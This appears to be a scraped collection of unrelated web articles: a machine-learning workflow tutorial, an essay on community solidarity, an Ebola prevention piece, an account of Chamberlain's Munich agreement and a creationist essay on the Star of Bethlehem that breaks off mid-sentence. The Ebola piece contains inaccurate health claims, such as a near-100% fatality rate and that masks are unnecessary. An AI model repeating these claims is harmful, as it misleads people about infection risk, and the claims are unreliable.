if he ignored the stove-top simply because his parents warned him, that’d be “explicit programming” instead of machine learning. When starting out in data science, it’s better to focus on developing practical intuition instead of diving into technicalities (which you can revisit later). Therefore, it’s critical to be clear and concise with our terminology. Before going any further, let’s just make sure we have a shared language for discussing the machine learning workflow: - Model – a set of patterns learned from data. - Algorithm – a specific ML process used to train a model. - Training data – the dataset from which the algorithm learns the model. - Test data – a new dataset for reliably evaluating model performance. - Features – Variables (columns) in the dataset used to train the model. - Target variable – A specific variable you’re trying to predict. - Observations – Data points (rows) in the dataset. Example: Primary school students For example, let’s say you have a dataset of 150 primary school students, and you wish to predict their Height based on their Age, Gender, and Weight… Here’s how you would describe the problem: - You have 150 observations… - 1 target variable (Height)… - 3 features (Age, Gender, Weight)… - You might then separate your dataset into two subsets: - Set of 120 used to train several models (training set) - Set of 30 used to pick the best model (test set) By the way, we’ll explain why separate training and test sets are super important in Model Training. Machine Learning Tasks Academic machine learning usually focuses on analyzing individual algorithms. However, in applied machine learning, you should first pick the right machine learning task for the job. - A task is a specific objective for your algorithms. - Algorithms can be swapped in and out, as long as you pick the right task. - In fact, you should always try multiple algorithms because you most likely won’t know which one will perform best for your dataset. The two most common categories of tasks are supervised learning and unsupervised learning. (There are other tasks as well, but let’s start with the basics.) Supervised learning includes tasks for “labeled” data (i.e. you have a target variable). In practice, it’s often used as an advanced form of predictive modeling. For supervised learning, each observation must be labeled with a “correct answer.” Only then can you build a predictive model because you must tell the algorithm what’s “correct” while training it (hence, “supervising” it). - Regression is the task for modeling continuous target variables. - Classification is the task for modeling categorical (a.k.a. “class”) target variables. Unsupervised learning includes tasks for “unlabeled” data (i.e. you do not have a target variable). In practice, it’s often used either as a form of automated data analysis or automated signal extraction. Unlabeled data has no predetermined “correct answer.” Instead, you’ll allow the algorithm to directly learn patterns from the data (without “supervision”). - Clustering is the most common unsupervised learning task, and it’s for finding groups within your data. Ingredients to Effective Machine Learning Even though there are different types of ML tasks (and many different algorithms for each), the key ingredients to success are always the same. To consistently build effective ML models that get great real-world results, you’ll need the following three pillars: #1: A skilled chef (human guidance) First, even though we are “teaching computers to learn on their own,” human guidance plays a huge role. Data scientists need to make dozens of decisions along the way. For example, how much data do you need? Are there any fatal flaws in the data? What’s the right ML task for the job? How do you define success? These are all key decisions you’ll need to make as the human “operator.” #2: Fresh ingredients (clean, relevant data) The second essential element is the quality of your data. Garbage In = Garbage Out, no matter which algorithms you use. This is something all professional data scientists pick up on very quickly. That’s why data scientists spend most their time understanding the data, cleaning it, and engineering new features. It’s not the “sexiest” part of the job, but it’s what will ultimately move the needle the most in terms of model performance. #3: Don’t overcook it (avoid overfitting) One of the most dangerous pitfalls in machine learning is overfitting. An overfit model has “memorized” the noise in the training set, instead of learning the true underlying patterns. An overfit model within a hedge fund can cost millions of dollars in losses. An overfit model within a hospital can costs thousands of lives. For most applications, the stakes won’t be quite that high, but overfitting is still the single largest mistake you must avoid. In Model Training, we’ll teach you strategies for preventing overfitting by (A) choosing the right algorithms and (B) tuning them correctly. You can also learn more about it by reading about the Bias-Variance Tradeoff. The Applied Machine Learning Workflow With all of the fundamentals and terminology out of the way, it’s time to talk about the machine learning workflow. Remember, as data scientists we want a consistent process to getting great results. That’s where the machine learning workflow comes in. There are five core steps: - Exploratory Analysis – First, “get to know” the data. This step should be quick, efficient, and decisive. - Data Cleaning – Then, clean your data to avoid many common pitfalls. Better data beats fancier algorithms. - Feature Engineering – Next, help your algorithms “focus” on what’s important by creating new features. - Algorithm Selection – Choose the best, most appropriate algorithms without wasting your time. - Model Training – Finally, train your models. This step is pretty formulaic once you’ve done the first four. Of course, there are other situational steps as well: - Project Scoping – Sometimes you’ll need to roadmap the project and anticipate data needs. - Data Wrangling – You may also need to restructure your dataset into a format that algorithms can handle. - Preprocessing – Transforming your features first can often improve performance further. - Ensembling – You can squeeze out even more performance by combining multiple models. For beginners, we recommend focusing on the five core steps first. These are the non-negotiable steps to training an effective model using ML. The other ones slot in easily once you understand the core machine learning workflow. That wraps it up for the Bird’s Eye View of the Machine Learning Workflow. Next, it’s time to learn more about the first core step: Exploratory Analysis! More About the ML Workflow - Python Machine Learning Tutorial, Scikit-Learn - The 5 Levels of Machine Learning Iteration - Overfitting in Machine Learning: What It Is and How to Prevent It Read the rest of our Intro to Data Science here.

https://elitedatascience.com/birds-eye-view

Programming

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In today’s world, where divisions and inequalities often lead to exclusion and conflict, interaction and solidarity within communities of color becomes a critical tool for overcoming challenges and achieving success. Support and unity helps not only in the fight for rights and equality, but also in creating cultural and social connections that strengthen our communities. Interaction and solidarity are the foundation for building strong and sustainable communities. When people support each other, they can overcome obstacles together and share resources and knowledge. This is especially important for communities of color who often face systemic discrimination and socioeconomic challenges. Ways to support each other - Creating and maintaining support networks within communities helps people find help and resources when they need them. These can be informal groups, community organizations, or online communities that provide information and emotional support; - Education plays a key role in strengthening communities. Conducting seminars, trainings and workshops helps to impart the knowledge and skills needed for personal and professional growth. This may include training in financial literacy, human rights or leadership development; - Supporting local businesses and entrepreneurship is an important aspect of solidarity. Buying goods and services from members of one’s community, as well as creating joint projects and initiatives, contributes to economic development and strengthens the economic base of the community; - Organizing cultural events such as festivals, concerts and exhibitions helps to preserve and promote cultural heritage. It also creates a space for communication and interaction where people can share their stories and experiences; - Interaction and solidarity are also manifested in joint struggles for rights and justice. Participating in actions, rallies and advocacy campaigns helps to draw attention to issues and bring about change at the institutional level. One of the most prominent examples of successful collaboration and solidarity is the Black Lives Matter movement, which has become a global symbol of the struggle for the rights of black people. This movement has united millions of people around the world, creating a platform for discussing racial issues and promoting equality. Another example is the Latinx Support Network in the United States, which provides educational and career opportunities for Latino youth. Through these initiatives, thousands of young people gain access to education and jobs to help them build a successful future. Engagement and solidarity within communities of color are powerful tools for creating a more just and equitable world. By supporting each other, sharing resources and knowledge, we can overcome challenges and build strong and sustainable communities. It is important to remember that each and every one of us can make a difference, whether it is by participating in community initiatives, supporting local businesses, or simply showing empathy and understanding for others. Together we can achieve great things and make the world a better place for all.

http://www.colorq.org/Articles/article.aspx?d=2004&x=unexpectedaVoyeuristic

Culture

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As a second case of Ebola has been reported in Nigeria, It should interest Nigerians to learn that one of the most interesting facts about the dreaded virus is that it is as fragile as it is deadly. It can be killed easily and doesn’t spread quickly like common cold. The virus was first discovered by one Dr. Fredrick A Murphy, a doctor of veterinary medicine in 1976. It got its name from the Ebola River in the Democratic Republic of Congo. There is enough material on the Internet about the gruesome, unpleasant symptoms of the disease and fatality statistics so there’s no need repeating those facts in this write-up. The most important things to know about Ebola is not to panic but learn the best way to protect yourself from contracting the disease because with Ebola, prevention is definitely better than cure. There is actually no known cure for Ebola, which is why the fatality rate is almost 100%. Contrary to what you may have heard Ebola is not air-borne like flu so there is no reason to wear masks or respiratory aids. It spreads only through contact with the bodily fluids of an infected person. Bodily fluids like saliva, blood, urine, faeces or semen. Travellers are also said not to be at risk, as patients are contagious only when they start showing symptoms. Health workers, family members or others in close contact with infected people, mourners who have direct contact with the bodies of the deceased as part of burial ceremonies and hunters in the rain forest who come into contact with dead animals found lying in the forest are the most susceptible to Ebola infection. Another way by which the virus spreads is the improper handling of the corpse of an Ebola victim. As long as you don’t come into contact with any of these things you are safe from contracting the virus. One more thing, semen from a survivor of Ebola infection can remain infectious for two months, so girls, be careful! It is also advisable to regularly wash your hands thoroughly with soap and water at every available opportunity because one of the interesting things about the virus is that it can be killed with soap, detergent or disinfectant. As a matter of fact taking a shower and thoroughly lathering your body with soap every time you return home from outside is not a bad idea. Most commentators believe that containing the virus should not be a very difficult task as it is not air-borne and spreads only through close contact with an Ebola patient who is already showing symptoms of the disease. I love that…may God help our.Message*

http://www.urnaija.com/ordinary-soap-water-kill-ebola/

Health

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For days, dread had blanketed London like a fog. Only a generation removed from the horrors of World War I, which had claimed nearly one million of its people, Britain was once again on the brink of armed conflict with Germany. Hitler, who had annexed Austria earlier in the year, had vowed to invade Czechoslovakia on October 1, 1938, to occupy the German-speaking Sudetenland region, a move toward the creation of a “greater Germany” that could potentially ignite another conflagration among the great European powers. The clouds of war billowed in the British capital as the hours to the deadline dwindled. As Chamberlain mobilized the Royal Navy, Londoners, including the prime minister’s wife, prayed on bended knees inside Westminster Abbey. Workers covered the windows of government offices with sandbags and installed sirens in police stations to warn of approaching enemy bombers. By torchlight, they scarred the city’s pristine parks by digging miles of trenches to be used as air-raid shelters. A knot of traffic snarled the city as Londoners began an exodus. Hundreds of thousands who planned to stay in the city stood patiently in line for government-issued gas masks and air-raid handbooks. London Zoo officials even developed plans to station gun-toting men in front of cages to shoot the wild animals in case bombs broke open their cages and freed them. Just two days before the deadline, Hitler agreed to meet in Munich with Chamberlain, Italian leader Benito Mussolini and French premier Edouard Daladier to discuss a diplomatic resolution to the crisis. The four leaders, without any input from Czechoslovakia in the negotiation, agreed to cede the Sudetenland to Hitler. Chamberlain also separately drafted a non-aggression pact between Britain and Germany that Hitler signed. When news of the diplomatic breakthrough reached the British capital, normally staid London responded like a death-row prisoner granted a last-minute reprieve. Jubilation and waves of relief washed over London in a celebration that had not been seen since the armistice that silenced the guns of World War I. On a rainy autumn evening, thousands awaited the prime minister’s return at London’s Heston Aerodrome, and the thankful crowd cheered wildly as the door to his British Airways airplane opened. As raindrops fell on Chamberlain’s silver hair, he stepped onto the airport tarmac. He held aloft the nonaggression pact that had been inked by him and Hitler only hours before, and the flimsy piece of paper flapped in the breeze. The prime minister read to the nation the brief agreement that reaffirmed “the desire of our two peoples never to go to war with one another again.” Summoned to Buckingham Palace to give a first-hand report to King George VI, Chamberlain was cheered on by thousands who lined the five-mile route from the airport. As the rain poured, thousands flooded the plaza in front of the royal residence. As if it were a coronation or a royal wedding, the frenzied cheers brought forth the king and queen along with Chamberlain and his wife onto the palace balcony. In an unprecedented move, the smiling king motioned the prime minister to step forward and receive the crowd’s adulation as he receded into the background to leave the stage solely to a commoner. After his royal audience, Chamberlain returned to his official residence at No. 10 Downing Street. There a jubilant crowd shouted “Good old Neville!” and sang “For He’s a Jolly Good Fellow.” From a second-floor window, Chamberlain addressed the crowd and invoked Prime Minister Benjamin Disraeli’s famous statement upon returning home from the Berlin Congress of 1878, “My good friends, this is the second time in our history that there has come back from Germany to Downing Street peace with honor. I believe it is peace for our time.” Then he added, “Now I recommend you to go home and sleep quietly in your beds.” As Britain slept, the German army marched into Czechoslovakia in “peaceful conquest” of the Sudetenland. The bombers did not roar over London that night, but they would come. In March 1939, Hitler annexed the rest of Czechoslovakia, and two days after the Nazis crossed into Poland on September 1, 1939, the prime minister again spoke to the nation, but this time to solemnly call for a British declaration of war against Germany and the launch of World War II. Eight months later, Chamberlain was forced to resign, and he was replaced by Winston Churchill. While the Munich Pact would become synonymous with “appeasement,” some historians believe that since the German and Italian air forces were twice as strong as the combined British and French airpower in September 1938, Chamberlain’s agreement gave the British military valuable time to bolster its defenses to ultimately defeat Hitler.

https://www.history.com/news/chamberlain-declares-peace-for-our-time-75-years-ago

Religion

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When They Saw the Star by Henry M. Morris, Ph.D. "When they saw the star, they rejoiced with exceeding great joy" (Matthew 2:11). Each year, as Christmas approaches, articles appear in numerous publications, both secular and religious, "explaining" the famous star whose unspoken testimony led the wise men to Bethlehem when Christ was born. Many theories have been offered, by many learned men, seeking to account for this remarkable event recorded in Matthew 2:1_12. Although a small booklet such as this cannot really do justice to all these studies, it may be helpful to give a summary evaluation of them from the viewpoint of Biblical literalism, assuming "star" means "star." But before considering the nature of the star itself, there are at least two intriguing questions about this remarkable event that are rarely discussed, even at Christmastime, but which do bear upon its true significance. 1. Just who were these "wise men" and why were they the only ones who realized the importance of the star? None of the political or religious leaders of the Jews seemed aware of it until these men from a distant country suddenly showed up in Jerusalem. 2. Why did the appearance of these three (?) travelers, with their question, inspire such agitation among King Herod and these Jewish leaders? When the wise men saw the star over Bethlehem, they were excited and joyful. Why did not Herod and the Jewish leaders rejoice with them? 3. Finally, just what was this star, and how could it possibly lead them on such a long journey to just the right location, especially since every one else in the very city of the promised Messiah seemed unaware of it? Let's take a brief look at possible answers to these fascinating questions. Who Were the Wise Men and How Did They Know? The common legend about the wise men says that there were three of them, named Melchior, Balthasar, and Gaspar, from three different nations (Babylonia, Persia, and India). One early writer called them three kings. However, all this is traditional, with no basis in Scripture. The phrase "wise men," in Matthew 2:1,7, is Magi (or Magoi) in the Greek original, and applies to members of a special group of men. A class of scholars called the Magi (from which our modern word "magic" is derived) may originally have come from a certain tribe in Media, and may even have later become a part of the governing body of Persia. This is uncertain, but what does appear to be well established is the fact that they were especially interested in astronomy and the prophetic "wisdom" that this talent seemed to give them. They eventually became a sort of priestly caste, and were attached to the royal courts of Babylonia and Persia and even those of more distant lands such as Arabia and India, as consultants and advisers to the nobles of those lands. There is even an ancient tradition that Balaam, the notorious prophet from Mesopotamia, was an early member of the Magi, perhaps even their founder. If so, this fact would at least partially explain why the Magi at the time of Christ were aware that a special star would be used by God to announce the Savior's birth to this world. It was Balaam's prophecy, of course, as recorded in the Bible, that spoke of this future star. Here is his prophecy, actually constrained by God to be uttered against the prophet's own will. I shall see Him, but not now: I shall behold Him, but not nigh: there shall come a Star out of Jacob, and a Sceptre shall rise out of Israel, and shall smite the corners of Moab, and destroy all the children of Sheth, and Edom shall be a possession. Seir also shall be a possession for his enemies; and Israel shall do valiantly. Out of Jacob shall come He that shall have dominion, and shall destroy him that remaineth of the city (Numbers 24:17_19). Thus Balaam's reluctant, but divinely inspired, prophecy, revealed that a unique Star associated with Israel would accompany a future Sceptre (that is, King) who would eventually rule the world. The later Magi, especially those in Babylon and Persia (where the influence of Daniel, as well as Mordecai and Esther) had been profound and long-lasting, would surely be familiar with this prophecy and also the various prophecies of Daniel (who had been the most respected of the "wise men" at the courts of Nebuchadnezzar and Cyrus?note Daniel 2:45; 6:28). Some of the Magi may even have been Jews in religion, if not in ethnicity. At the time of God's great deliverance of the Jews in Persia during the days of Queen Esther, it was recorded that "many of the people of the land became Jews" (Esther 8:17). This event in itself would constrain many of the Persian members of the Magi at that time to study the Jewish sacred books, especially the Messianic prophecies of Daniel. This lore would have become a key part of the Magi's traditional learning, handed down generation after generation, even to the time of Christ. Among these Danielic prophecies, of course, given during the reign of Darius the Mede, was the great prophecy of the "seventy weeks," which revealed that the Messiah would come as Prince of Israel 483 years after the Persian emperor gave the commandment to the Jews to rebuild Jerusalem (Daniel 9:24,25). It would easily be possible for the Persian Magi, as the promised date came near, to put these prophecies of Balaam and Daniel together, and thus be watching for "His star" to appear. Something like this may at least partly explain why the Persian Magi?and not the Herodians and the rationalistic Sadducees (who comprised most of the Jewish religious leaders of the time) were aware of the significance of the star when it appeared. It is quite possible also that the "wise men" from this same caste who were prominent as counsellors in Babylon and other lands (even Arabia and India) were also aware of what was happening. It may be possible (as the tradition suggests) that Magi from other lands as well as Persia joined the entourage journeying to Jerusalem to seek this promised "King of the Jews." There is no convincing reason to think that only three Magi came. The fact that three types of gifts (gold, frankincense, myrrh) were offered does not mean that only three men offered the gifts. The Bible does not say how many there were, but there may well have been many more than three. Why Were Herod and the Jews so Troubled by the Magi's Visit? It would, indeed, seem rather unlikely that the visit of three itinerant "astrologers" would create such a stir in Jerusalem. In the first place, how could these foreigners ever get in to see King Herod? Why would their question cause the king to be "troubled, and all Jerusalem with him" (Matthew 2:3). But all this becomes clear when it is realized that the visitors probably consisted of much more than three foreign "astrologers" (as a number of modern translations call the "wise men"). There were very likely more than three Magi in the group, probably a dozen or more. They had come from "the east," and were themselves representatives of one or more great nations, traveling no doubt with a military escort and a sizable entourage of servants. Even so, why should this upset a powerful king acting under authority of the great Roman empire, supposedly dominant in all the known world of that time. Herod had been appointed "King of the Jews," by no less then the great Caesar Augustus himself, so why should he be troubled by these dignitaries from the east? The fact is, however, that the Roman empire was not dominant in all the known world. In fact, the various nations "east" of Judaea?Persia, Babylonia, Assyria, etc.?were not part of the Roman empire at all, but rather part of the large and powerful Parthian empire, which was a serious rival to Rome and had defeated several attempts by the Roman legions (including one led by Herod himself, before he became king) to subjugate her. There is reason to believe that, at this time, the Parthians (i.e., Persians) were actually threatening Rome along the nearby boundaries of the Roman empire. Herod had been appointed "King of the Jews" as his official title by Rome, but here was a delegation from a powerful enemy empire demanding information about someone "born King of the Jews" (Matthew 2:2). No wonder Herod was troubled. Furthermore, the entourage was not traveling on camels (as the Christmas cards tend to picture them) but on strong horses (for that was how Persian nobles travelled), and they were quite confident that this coming King was already in the land and that His presence had been announced by God Himself through a star in the heavens. The rest of Jerusalem was also "troubled" by what seemed an imminent threat of invasion. The religious leaders were undoubtedly embarrassed, as well as troubled, that they, of all people, had to be informed by foreigners about the coming of Messiah. Although these Jewish religious leaders were not looking for the Messiah, and did not really want Him to come and upset their own profitable operations, they did at least know about the messianic prophecies. King Herod, who was a descendant of Edomites, did not know the prophecies himself, but when he inquired of the chief priests and scribes, they were able to tell him where this coming King Messiah was to be born. Paraphrasing Micah 5:2, they said: "Thus it is written by the prophet, And thou Bethlehem, in the land of Juda, art not the least among the princes of Juda: for out of thee shall come a Governor, that shall rule my people Israel" (Matthew 2:5,6). Whether these Jewish leaders were familiar with Balaam's prophecy of the Star or not, the account does not say. In any case, they had not paid any heed to the actual Star when it appeared, though they must have seen it. Just What Was This Remarkable Star? If we really seek to take the Bible literally, we need to think of this star as a real star, not an angel or some miraculous atmospheric light which the wise men thought was a star. The Greek word, aster, occurs some 24 times in the New Testament. A similar word, astron, is used four times. Both words refer specifically to real stars, unless the context indicates otherwise. It is true that stars are sometimes used to symbolize angels (e.g., Revelation 1:20; 12:4,7) or even human beings (Jude 13). It is also true that planets, meteorites, and comets were apparently considered "stars" by the astronomers of that day and even by the Lord Jesus Himself (e.g., Matthew 24:29). But such usages are always apparent in the context. The account of the wise men, however, is given as a simple historical record, and the Magi certainly knew what a star was as well as anybody in that day, and they called it a star (in fact, His star), not an angel or an atmospheric guiding light of some kind. They were familiar with the record of the glory cloud (the Shekinah) that had guided the Israelites under Moses in the wilderness (e.g., Numbers 14:14), for it was in the same book of the Torah as the account of Balaam's star. Yet they called it a star, not a glory cloud or any other kind of moving light in the sky. Nevertheless, many fine Bible teachers, unable to see how a fixed star in the heavens (or even a moving star like a planet or comet) could actually guide the Magi to the very house in Bethlehem where the infant Christ was staying, have decided it must have been an angel or the Shekinah or some other miraculous moving light, seen only by these foreign wise men. But the idea that the "star" was not really a star involves serious difficulties, in addition to that posed by the straightforward use of "star" in the narrative. Why, for example, would God send such a special aerial messenger 600 miles away to Persia, and not to those in Israel itself who were anticipating the coming Messiah? The Jewish leaders were not watching for Him, of course, but there were many who were. God did send a choir of angels and "the glory of the Lord" to a group of shepherds near the manger in Bethlehem to announce the birth (Luke 2:9_12), but what about the faithful remnant in Jerusalem and other parts of Israel? The account refers to "all them that looked for redemption in Jerusalem" (Luke 2:38) and mentions Simeon and Anna in particular. These two, illuminated by the Holy Spirit, even recognized the infant Jesus as the promised Messiah when Mary and Joseph, after the forty "days of her purification according to the law of Moses [see Leviticus 12:2_6] brought Him to Jerusalem, to present Him to the Lord" (Luke 2:22). Why had such devout Jews, waiting for the Messiah, not been informed about His birth in Bethlehem? Furthermore, how would the Magi, far off in Persia, recognize this supposed moving light as announcing the King of the Jews, impelling them to undertake a long and dangerous journey to greet Him? And why would the light not have led them directly to Bethlehem instead of Jerusalem and Herod's court? As a matter of fact, Matthew's account never says the Star (or moving light, if that's what it was) ever "led" them at all. It says merely that they saw the Star twice?once while they were at home "in the east," then later, as it "stood over where the young child was" (Matthew 2:2,9). There is no record that they saw it at all during the long journey to Jerusalem. The guiding light hypothesis appeals to many evangelicals, since they are usually willing to accept the local miracles of Scripture (such as Christ's turning water into wine, or even the restoration of Lazarus' dead body four days after he died). Miracles that require God's intervention in the entire world, however, such as the global flood in the days of Noah, or the long day of Joshua, are not so readily believed, even by many evangelicals, and they often seek materialistic explanations for them, if possible. For example, a very popular explanation offered for the star by many is that the "star" was merely a conjunction of two or three planets at the time of Christ's birth. The great astronomer, Johann Kepler, was apparently the first to suggest this type of explanation. In 1605 he calculated that there had been a conjunction of three planets (Saturn, Jupiter, and Mars) in 7 B.C. Many others have followed this idea, assuming that this conjunction constituted the Christmas star. It was said to have occurred in the constellation Pisces at that time, and this constellation was believed by astrologers to be the Zodiacal sign related to Israel. Others have said that a conjunction of Jupiter, Venus, and the star Regulus in 3 B.C. was the Christmas star. All such conjunction theories, however, face several serious difficulties. It seems incredible that the Magi, as versed in astronomy as they were, would call such a group of stars "His" Star! No two of these stars were ever so close together as to look like a single star?never even appearing to touch each other! Furthermore, all such planetary conjunctions occur with some significant frequency, which could have been calculated easily enough by these experienced astronomers from the known orbits of the planets, so why would any one, or several, such conjunctions be associated as a special "sign" with the promised King of Israel? There was certainly nothing miraculous about them. Still more importantly, this sort of thing?associating star and planetary and Zodiacal positions with events on Earth?is a prominent feature of the occult art of astrology, and astrology is condemned in the Bible (Isaiah 47:13_15; etc.). It would not seem reasonable for God to associate anything concerning His promised incarnation with the pseudo-science of astrology which He had warned His people to avoid. Similar objections apply to the suggestion of some writers, both ancient and modern, that the Christmas star was a comet. Comets also are fairly frequent and travel in regular, predictable orbits, just like planets and their conjunctions. They also have a different appearance than or dinary stars or planets, with a sort of tail following each of them, and the Magi undoubtedly could distinguish them from real stars. They were also commonly used as astrological predictors whenever they occurred, and would thus seem unsuitable for God's purpose in sending His Star. There does remain one special type of star which does not involve any of the difficulties discussed above. These are the novas (formerly called "new stars") or, still more intriguingly, the rare supernovas. These are real stars, not conjunctions of stars, or comets, and certainly not atmospheric phenomena. Was His Star a Real Star after All? Novas and supernovas are sudden, rare, entirely unpredictable explosions of existing stars that had been originally created on Day Four of Creation Week. Somehow what seems to be an ordinary star suddenly increases tremendously in brilliance, continuing so for several months until it finally fades away. Since supernovas are very rare and entirely unpredictable, they have no astrological significance. There have only been a few visible supernovas reported in our galaxy, the oldest of which occurred in 1054 A.D., as reported by Chinese astronomers. There was one reported by Tycho Brahe in 1572 A.D., and one by Kepler in 1604 A.D. Others have been seen with the aid of large telescopes, but these were not available to the Magi, of course. Although we have no firm official astronomical record of a visible supernova occurring at the time of Christ's birth, such a stellar phenomenon would surely be appropriate to announce the birth of Christ. There surely must have been a few supernovas before 1054 A.D., and the fact that no records of these have been preserved is merely an argument from silence. A great Christian astronomer, E. W. Maunder, for fifty years Superintendent of the Solar Department of the Royal Greenwich Observatory, and president of the British Astronomical Observatory, came to the conclusion that such a star (called, in his day, a "new star" or "temporary star") was the only logical explanation for the Star of Bethlehem. He devoted a strong chapter to this subject in his book, Astronomy and the Bible, published in 1908, As a matter of fact, there may well be certain other hazy records of such a star. In the Bible, the only mention of the star is in Matthew 2:1_12. However, a number of the early Christian writers were fascinated with the account, and apparently did some contemporary research of their own in extra-Biblical sources. For example, Ignatius, who was the apostolic father closest in time to the New Testament writers (died 107 A.D.) wrote of the star as follows: "(It was) a star which so shone in heaven beyond all the stars, its newness caused excitement." The pseudepigraphical writing known as The Protoevangelium of James quotes the wise men as saying to Herod: "We saw how an indescribably great star shone among these stars and dimmed them so that they no longer shone, and so we knew that a King was born for Israel." Eusebius, a scholarly church historian of the early fourth century, evidently made a considerable study of the literature available from the centuries before him, and came to this conclusion about the star. "The star was new and a stranger among the usual lights of heaven, a strange star besides the usual ones, a strange and unusual star, not one of the many known stars, but being new and fresh." A recent writer, Robert McIver, has spent three decades researching this subject. In his book, Star of Bethlehem-Star of Messiah, published 1998, he cites star records from ancient Chinese and Korean astronomers who both noted such an unusual new star about the time of Christ's birth. He also discusses paintings in the Roman catacombs, as well as coins from various countries which depict an unusual star about this time. He even notes possible sightings of the star in the Americas. Much of his evidence is vulnerable to other possible interpretations, but it is at least an interesting coincidence, if nothing else, that such indications of an unusual new star at about the time of Christ's birth can be found all over the world. In any case, although it is not possible to be dogmatic, it does seem that the most feasible explanation for the Christmas star is that it was a real star, rather than either a conjunction of two or more stars or a special moving light of some kind in the lower atmosphere. After all the Magi called it a star, and they would surely know the difference. The Persian Magi in particular were very competent observational astronomers, not astrologists. If they were not Jews or Jewish proselytes (either of which is a good possibility), they were Zoroastrians, and the Zorastrian religion was similar to Judaism in many respects, among which was an aversion to astrology. They were almost certainly acquainted with the Messianic prophecies of the Old Testament, especially Balaam's prophecy of a new Star which would signal the rising of a great King in Israel. Balaam himself was probably a member of the Magi, possibly even the founder of their caste. Zoroaster also was probably one of the earlier Magi, between the times of Balaam and Christ. Thus it is significant that both Balaam's divinely inspired prophecy and Matthew's divinely inspired history recognized it as a star?in fact as "His" Star! Unless God created a brand new star at this time, which is possible, of course, the most realistic explanation is that it was either a nova, or (more probably) a supernova?a gigantic explosion of an existing, but previously unknown, star. As noted before, this was the conclusion of the late British astronomer, E. W. Maunder. He simply called it a "new star," the terms nova and supernova not yet having come into use in his day. In a more recent scientific article, "The Star of Bethlehem," published in Science Digest in December 1976, James Mullaney says: "The considered opinion of nearly all who have studied the question is that a nova or supernova seems the most likely explanation for the Christmas star of all those put forth to date" (p.65). Mullaney also makes the cogent observation: "Truly, here is a celestial announcement card above all others worthy the birth of a king" (ibid.). A supernova explosion radiates more energy into space at its peak than all the stars in our own galaxy combined! The entrance of the Creator into His creation as a man among men would surely warrant the most majestic announcement possible by His creation. An angelic host announced it at the scene?a mighty star to the rest of the world! The mechanistic details of what causes such a stellar explosion and its after-effects are still rather obscure scientifically, and their occurrences are altogether unpredictable as to time and place. How, then, did Balaam know that one would occur at the time of Messiah's birth, some 1400 years in the future? The information came from God, that's how! While it is true that "new" stars, as well as comets and meteors and planetary conjunctions, have often in the past been taken as astrologically associated with the rise or fall of great men, it is also true that no astrologer or anyone else has ever predicted such an event hundreds of years before it happened. Having created the stars, God is well able to set off an explosion in one of them whenever He chooses, and also to inform one of His prophets about it as far in advance as He chooses. There is really no better explanation of Balaam's remarkable prophecy (even given against the prophet's own will!) and the miraculous birth of Christ which eventually, in God's own time, fulfilled it. But just how did the Magi know that this star, this supernova (assuming that's what it was) was His Star, the one prophesied so long ago by Balaam. After all, there had also probably been other "new stars" from time to time. This was surely not the first. Or was it? There are records of earlier comets and earlier conjunctions, and these had indeed been considered to be astrological portents of one kind or another, but there have never yet been found any firm records of earlier novas. In fact, the Biblical chronology assures us (evolutionary astronomers to the contrary notwithstanding) that the stars were created only a few thousand years ago, and in general should not be subject to such an explosive disintegration process so soon, or so we would suggest. That is, unless God Himself triggered it! There have been many other novas since that time, of course, and also a few supernovas, but perhaps God has allowed these just to show us that such things are possible. They do at least reinforce and support His revealed truth that His creation was completed in the past (Genesis 2:1_3). It is being conserved quantitatively, but decaying qualitatively, in the present, by the entropy principle (compare Psalm 102:25_27). This had been established by God's primeval curse on all man's dominion because of sin (Genesis 3:17_20; Romans 8:20_22; etc.), and will continue until Christ returns to renew His creation in the ages to come. In any case, there were ways in which the Magi (as well as others, if they had been watching for it) could identify this new star as Balaam's prophesied star. As noted earlier, they could well have known from Daniel's seventy-weeks prophecy, as well as others, that the time of His coming was near, so they were watching for the star in their regular astronomical observations. There is also the very realistic possibility that this new star occurred in one of the constellations which had been associated with God's primeval promise of the coming Savior. This "protevangel" (that is, "first Gospel") prophesied the age-long conflict between the Serpent (that is, Satan) and the Seed of the Woman (that is, Christ). The Serpent would inflict a serious bruise on the woman's seed, but eventually Christ will destroy Satan forever (Genesis 3:15). This primeval promise is reflected in many of the star-pictures of the constellations, especially the twelve signs of the Zodiac and their decans (or related constellations). While these star messages have been badly corrupted by astrology, they do predate any astrological meanings later imposed on them. In fact, the Scriptures themselves imply that these pictures and their primeval meanings were established originally by God Himself, through the ancient patriarchs (Seth in particular, according to the Jewish historian Josephus). In the Genesis record of God's creation of the stars, they were said to be for "signs," as well as for "seasons, days, and years," (Genesis 1:14). Then, according to God's message to Job, it was only God who could "bring forth Mazzaroth in his season" (Job 38:32), where Mazzaroth refers specifically to the twelve signs of the Zodiac?that is, the constellations which have been designated as representing the Virgin, the Balances, the Fishes, the Lion, etc. Certain individual constellations are even mentioned by name as having been formed by God?that is, "Arcturus, Orion, the Pleiades" (Job 9:8), the "crooked serpent" (Job 26:13), and others. God is also said to have named the stars (Psalm 147:4; Isaiah 40:26). Such Scriptures indicate God had a purpose in identifying these stars and constellations and that purpose certainly was not to serve astrology. The most reasonable inference is that He wanted to imprint His purposes and promises on the very heavens themselves, so they could be seen in all times and nations, especially before His written Word would become available. Thus "the heavens declare the glory of God "and have been uttering speech and showing knowledge day and night throughout the world" (Psalm 19:1,2), ever since the beginning. A number of these ancient constellations, despite millennia of astrological distortion, do still show clear reflections of God's primeval promise. The great Christian astronomer E. W. Maunder noted this, as have various other scientists and theologians through the years. For example, the sign of the Virgin suggests the promise of a virgin-born Savior, as implied in the very phrase "seed of the woman" (men, not women, generate "seed," so a miracle would be required for a woman to do so). The sign of Leo the Lion pictures a conquering lion slaying a fleeing serpent. Similar related messages can be deduced from many of the other signs. It is difficult at this late date to pinpoint the specific constellation in which the star appeared. The date of Christ's birth is uncertain and so is the date of the star. But it does seem reasonable to assume that it appeared in a constellation which the Magi knew was depicting the coming of the promised Redeemer. These were devout men, believing in the true God of creation and the promises in His Word. They were undoubtedly familiar also with the original signs and symbols God had imposed on the stars, and thus were able to recognize that this new star that had suddenly blazed forth in the sky must indeed be "His Star," the star announcing the birth of the promised King. They were so elated that they decided to make the long pilgrimage to Jerusalem to find and worship Him. However, this could not be arranged overnight. Considerable time would be needed to assemble an entourage of servants and armed guards, supplies for the whole company, gifts for the holy child, and perhaps even arrangements for meeting up with Magi coming from other regions with the same purpose. But finally they were ready, and set out on the long journey. What Does His Star Mean to us Today? Supernovas may shine brilliantly for many months and possibly longer, but this is a disintegration process and they finally fade out of sight. Also, as the earth moves along in its orbit around the sun, the night sky changes. Stars that were seen at one time during the year will soon be lost in the daytime, hidden 